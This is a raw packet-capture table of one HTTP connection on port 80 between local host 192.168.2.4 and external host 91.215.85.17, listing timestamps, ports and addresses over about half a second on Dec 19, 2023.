Dec 19, 2023 03:22:25.983457088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.983493090 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.983546972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.983632088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.983668089 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.983726025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.029752970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.244049072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244071960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244090080 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244112015 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.244116068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244158983 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.244191885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244231939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244262934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244276047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244282961 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.244328976 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.244357109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244422913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244436026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244447947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244460106 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.244488955 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.244504929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244523048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244596004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244616032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244626045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.244692087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244710922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244730949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.244735003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244749069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244770050 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.244780064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244785070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.244827986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244844913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244864941 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.244919062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244935989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.244956017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.244957924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245021105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245038986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245047092 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245085955 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245093107 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245106936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245122910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245176077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245198965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245212078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245232105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245290995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245304108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245313883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245333910 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245353937 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245389938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245407104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245413065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245419025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245424032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245482922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245503902 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245522022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245523930 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245537043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245548010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245558023 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245564938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245565891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245585918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245598078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245626926 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245629072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245672941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245688915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245707035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245709896 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245721102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245743036 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245778084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245812893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245841026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245863914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245882988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245893955 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245898962 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245920897 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245938063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245954990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245966911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.245989084 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.245999098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246016026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246032000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.246074915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246085882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246107101 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.246120930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246139050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246161938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.246192932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246203899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246227026 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.246242046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246288061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246288061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.246330023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246341944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246364117 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.246401072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246429920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246452093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246452093 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.246489048 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.246501923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246560097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246598005 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.246649981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246666908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246678114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246711969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246728897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246758938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.246758938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.246793032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246807098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246822119 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246831894 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.246864080 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.246908903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246921062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246931076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246957064 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.246961117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246978998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.246994972 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.247011900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.247046947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.247081995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.247098923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.247111082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.247123003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.247133970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.247160912 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.247164011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.247181892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.247195005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.247237921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.247251034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.247292042 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.247294903 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.247294903 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.247306108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.247328997 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.247343063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.247355938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.247371912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.247380018 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.247407913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.247437000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248065948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248100042 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248123884 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.248147964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248162985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248186111 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.248256922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248286963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248296976 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.248332977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248366117 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.248395920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248409033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248428106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248442888 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.248450994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248462915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248486042 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.248517036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248533964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248545885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248554945 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.248584032 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.248593092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248723030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248734951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248750925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248759031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.248785973 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.248805046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248821974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248856068 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.248884916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248902082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248913050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.248946905 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.249434948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.249475002 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.249494076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.249510050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.249521971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.249547958 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.249655008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.249672890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.249691010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.249694109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.249723911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.249726057 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.249741077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.249773026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.249774933 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.249842882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.249871016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.249881983 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.250061035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250076056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250089884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250097990 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.250128031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.250129938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250144005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250174046 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.250205040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250257969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250293970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.250322104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250358105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250375986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250387907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250397921 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.250427961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250430107 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.250441074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250478983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250484943 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.250499964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250513077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250534058 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.250546932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250576973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250586033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.250593901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250628948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.250633955 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250684023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250703096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250719070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.250827074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250838995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250870943 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.250931978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.250967026 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.250991106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251003981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251036882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251039982 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.251105070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251121044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251146078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.251154900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251172066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251192093 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.251507044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251543045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251549959 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.251560926 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251601934 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.251605034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251638889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251677036 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.251749992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251764059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251796961 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.251806021 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251859903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251877069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251904011 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.251946926 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.251986980 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.252007008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252018929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252029896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252063990 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.252093077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252104044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252126932 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.252130985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252173901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252182007 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.252192020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252232075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.252244949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252284050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252320051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252331018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252372026 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.252391100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252423048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252434969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252459049 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.252501011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252517939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.252537012 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.295327902 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.298645020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.298657894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.298667908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.298717976 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.513044119 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.513115883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.513165951 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.513274908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.513360023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.513448000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.513493061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.513546944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.513593912 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.513648987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.513741970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.513784885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.513806105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.513860941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.513902903 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.513952017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.514036894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.514075994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.514118910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.514168024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.514206886 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.514240026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.514305115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.514367104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:26.514370918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:26.514444113 CET	80	49738	91.215.85.17	192.168.2.4
